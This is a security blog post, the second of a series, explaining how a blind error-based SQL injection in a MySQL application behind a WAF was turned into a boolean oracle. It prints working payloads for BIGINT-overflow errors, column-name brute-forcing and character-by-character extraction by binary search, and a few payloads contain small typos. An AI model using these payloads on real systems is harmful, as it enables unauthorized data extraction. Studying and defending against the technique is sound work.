Turning Blind Error Based SQL Injection into Exploitable Boolean One Part 2: MySQL
After my original blog post published in late 2020, I kept encountering the same vulnerability across different database management systems. The problem was always the same:
- Time-based techniques were not possible.
- The responses did not contain any data that could be turned into a boolean-based injection.
- OR-based payloads did not return useful values or did not work.
- Out-of-band (OOB) techniques were not possible.
I could reliably confirm the vulnerability with very simple payloads and by observing whether the request produced an error or a normal response:
- Payload:
'-> Response: Error - Payload:
''->Response: Success - Payload:
'''->Response: Error - Payload:
''''->Response: Success - Payload:
' AND '-> Response: Success - Payload:
' ANDD '->Response: Error
(Here “Success” means the request returned the normal/expected page or response body, “Error” indicates a database or application error was triggered.)
Because this behavior could indicate other injection classes (for example, Filter Expression Injection in MSSQL), I needed stronger confirmation using real function calls:
- Payload:
' AND USER() AND '. Response: Success - Payload:
' AND ASD() AND '. Response: Error
These tests showed that a vulnerability was present, but extracting data remained infeasible due to the limited information returned in responses.
Please note that the regular payloads such as ' AND '1'='1 etc was blocked by WAF, so more simple payloads are used such as ' AND ' .
First Attempt with IF
I tried to turn this into a boolean condition by using MySQL’s IF function:
- Payload:
' AND IF(LEFT(USER(),1)=1,1,1)=1 AND '
This executed fine, but both the true and false branches produced the same outcome. In other words, because the if call returned same response whether the condition was true or false, there was no way to distinguish between the two states — useless for extraction.
Time-Based Attempts
Before going further, I also tried the usual time-based payloads (SLEEP(), BENCHMARK(), etc.). They didn't return any errors, which indicates they executed successfully, but I couldn't observe any measurable delay in the application's response. So time-based techniques were not a viable channel here.
Forcing Errors with Large Numbers
Next, I looked for ways to create a difference in responses by forcing errors.
At first I tried the well-known error functions like EXTRACTVALUE() and UPDATEXML(). But these were immediately blocked by the WAF.
So instead, I moved on to using arithmetic overflow with large numbers. Here I also realized something important: if I didn’t use OR in the payload, the exploitation would fail — most likely because of the way the original query was structured. My approach became:
- Connect the first part with
ANDto preserve the logical flow. - Use
ORfor the condition that triggers the error logic.
Such as:
- Payload:
' AND IF LEFT(USER(),1)='n',1,922337036854775807+1) OR '. Response: Success - Payload:
' AND IF LEFT(USER(),1)='m',1,922337036854775807+1) OR '. Response: Error
Meaning that when the first character of USER() matches, it returns 1 (success); otherwise it evaluates 9223372036854775807 + 1, causing a BIGINT overflow error. That gave me the distinction I needed — a way to turn conditions into boolean-style responses.
So, two outcomes are observed from here as:
- All different combinations of AND/OR should be tested when the exact query is not known at the back-end.
- Overflow errors are useful when error-based functions do not work or blocked by WAF.
Extracting Data
Note: This section may be trivial for expereinced penetration testers/bug bounty hunters, but I wanted to present it here step-by-step for beginners to learn manual injection and how to efficiently narrow character values.
Step 1: Working around the FROM block
Normally the first thing I would try is SELECT 1 FROM users — just to confirm I can reach data. But here, FROM was completely blocked by the WAF.
I tested the usual bypass tricks (FR/**/OM, /*!00000FROM*/, hex/encoding variations), but none worked — the WAF consistently caught every attempt.
That meant I couldn’t fall back on the classic information_schema approach. Instead I had to work with whatever was already present in the query context. This is why I switched to directly referencing columns (e.g. SELECT column_name).
Step 2: Finding a valid column
To confirm which columns existed, I tried brute-forcing their names.
- Payload:
' AND IF(LEFT((select firstname)),1)=1,1,1)=1 AND '. Response: Success - Payload:
' AND IF(LEFT((select firstnamee)),1)=1,1,1)=1 AND '. Response: Error
This gave me a way to brute-force column names with Burp Intruder: supply candidate names and see which ones don’t return syntax error. Those tests made it clear that firstname was the column I could extract.
Step 3: Compare ASCII values & narrow down the character
Once I had a valid column, I wrapped the expression in an IF to force an error when the guess was wrong:
- Payload:
' AND IF(ASCII(SUBSTR(firstname,1,1))>1,1,9223372036854775807+1) OR '. Response: Success - Payload:
' AND IF(ASCII(SUBSTR(firstname,1,1))>125,1,9223372036854775807+1) OR '. Response: Error
At this point I could apply a binary search strategy to speed things up:
- Start with a range of 32–126
- Test the midpoint as 79, such as:
' AND IF(ASCII(SUBSTR(firstname,1,1))>79,1,9223372036854775807+1) OR ' - If the response returns error, meaning that the character code is lower
- If the response returns success, it means that the first character of the column would be higher than 79
- Keep adjusting until a single value is left.
With this technique, each character can be extracted in nearly 5–8 requests instead of brute-forcing all possible characters.
After finding the first character, the character can be shifted to the next character and same would be applied again.
- Payload:
' AND IF(ASCII(SUBSTR(firstname,2,1))>79,1,9223372036854775807+1) OR '.
Comparison with Part 1 (MSSQL)
In Part 1 (MSSQL), the trick was to exploit IIF and CONVERT to deliberately cause type-conversion errors. That allowed me to flip between a success path and an error path — effectively turning error-based into boolean-based SQL injection.
In MySQL the concept was the same, but the tools were different. With EXTRACTVALUE() and UPDATEXML() blocked, I had to rely on integer-overflow errors instead. Both approaches demonstrate the same principle: you don't need to see the data directly — you only need a way to make the database behave differently depending on a true/false condition. The exact gadget (CONVERT in MSSQL, overflow in MySQL) changes, but the pattern remains universal.
Takeaways
Even with:
- Classic
'1'='1'-style payloads blocked by the WAF, - Time-based payloads failing,
EXTRACTVALUE()/UPDATEXML()blocked,FROMblocked,
It was still possible to turn a blind, error-based SQLi into an exploitable boolean one. By brute-forcing column names, carefully chaining AND and ORclauses and forcing errors via integer overflows, I implemented a reliable true/false query and exfiltrated data character-by-character using a simple binary-search strategy.
Stay tuned for the part 3: PostgreSQL!
